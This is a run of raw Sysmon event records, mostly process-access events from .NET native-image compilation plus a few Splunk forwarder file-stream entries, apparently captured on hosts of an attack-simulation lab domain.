14:45:27.414{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-A50A-00000000F001}3912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.368{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-A40A-00000000F001}5696C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.352{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-A40A-00000000F001}5696C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.352{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-A40A-00000000F001}5696C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.305{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-A30A-00000000F001}6612C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.289{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-A30A-00000000F001}6612C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.289{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-A30A-00000000F001}6612C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.227{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-A20A-00000000F001}5556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.211{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-A20A-00000000F001}5556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.211{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-A20A-00000000F001}5556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.149{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-A10A-00000000F001}5644C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.133{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-A10A-00000000F001}5644C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.133{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-A10A-00000000F001}5644C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.102{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DEC4035BCAA3A8A735BF51640FEEFCDA,SHA256=D59C85DC5EEAC582851BF92F79B9EABBD397945747EB129C872684BF0D529F5C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014011Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:28.154{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D101A9CBBA4E3CCED07728B435ADCDF0,SHA256=578847E37FC28E515596499CB81F6FC5651E0E9A046F79FC64367ABF71A192AF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.946{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F88-613B-B90A-00000000F001}6536C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.946{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F88-613B-B90A-00000000F001}6536C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.946{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F88-613B-B90A-00000000F001}6536C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.867{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=98A9DA83D3D6FCC46BC4D87689B71735,SHA256=831D0DD7C69EAC24B8548A782CD8F4AEA2E986CBB58CDCD7196ECC9F64FB285D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.852{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F88-613B-B80A-00000000F001}5324C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.836{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F88-613B-B80A-00000000F001}5324C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.836{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F88-613B-B80A-00000000F001}5324C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.742{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F88-613B-B70A-00000000F001}2180C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.727{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F88-613B-B70A-00000000F001}2180C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.727{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F88-613B-B70A-00000000F001}2180C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v